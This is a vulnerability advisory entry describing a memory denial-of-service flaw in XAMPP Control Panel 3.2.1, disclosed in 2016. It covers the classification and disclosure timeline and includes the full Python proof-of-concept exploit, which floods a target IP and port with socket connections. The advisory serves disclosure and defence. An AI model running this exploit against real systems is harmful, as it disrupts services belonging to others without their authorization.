XAMPP Control Panel 3.2.1 Memory denial of service

Summaryinfo

A vulnerability, which was classified as problematic, has been found in XAMPP Control Panel 3.2.1. The affected element is an unknown function. Performing a manipulation results in denial of service (Memory). The attack may be initiated remotely. In addition, an exploit is available. It is advisable to upgrade the affected component.

Detailsinfo

A vulnerability, which was classified as problematic, was found in XAMPP Control Panel 3.2.1. This affects an unknown functionality. The manipulation with an unknown input leads to a denial of service vulnerability (Memory). CWE is classifying the issue as CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was presented 12/24/2016 by John Page (hyp3rlinx) as XAMPP Control Panel Memory Corruption Denial Of Service as confirmed mailinglist post (Bugtraq). It is possible to read the advisory at seclists.org. The public release was coordinated in cooperation with XAMPP. It is possible to initiate the attack remotely. Technical details are unknown but a public exploit is available. The attack technique deployed by this issue is T1499 according to MITRE ATT&CK.

A public exploit has been developed by John Page and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 51 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

import socket

print "XAMPP Control Panel DOS"
print "Discovery: John Page (hyp3rlinx)"
print "ApparitionSec"
print "hyp3rlinx.altervista.org\r\n"

IP = raw_input("[IP]> ")
PORT = raw_input("[PORT]> ")
 
arr=[]
c=0
while 1:
    try:
        arr.append(socket.create_connection((IP,PORT)))
        arr[c].send("DOOM")
        print "Die!"
        c+=1
    except socket.error:
        print "[+] Done! "
        raw_input()
        break

Upgrading eliminates this vulnerability. A possible mitigation has been published before and not just after the disclosure of the vulnerability.

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Productinfo

Vendor

• XAMPP

Name

• Control Panel

Version

• 3.2.1

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

Video

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Discussion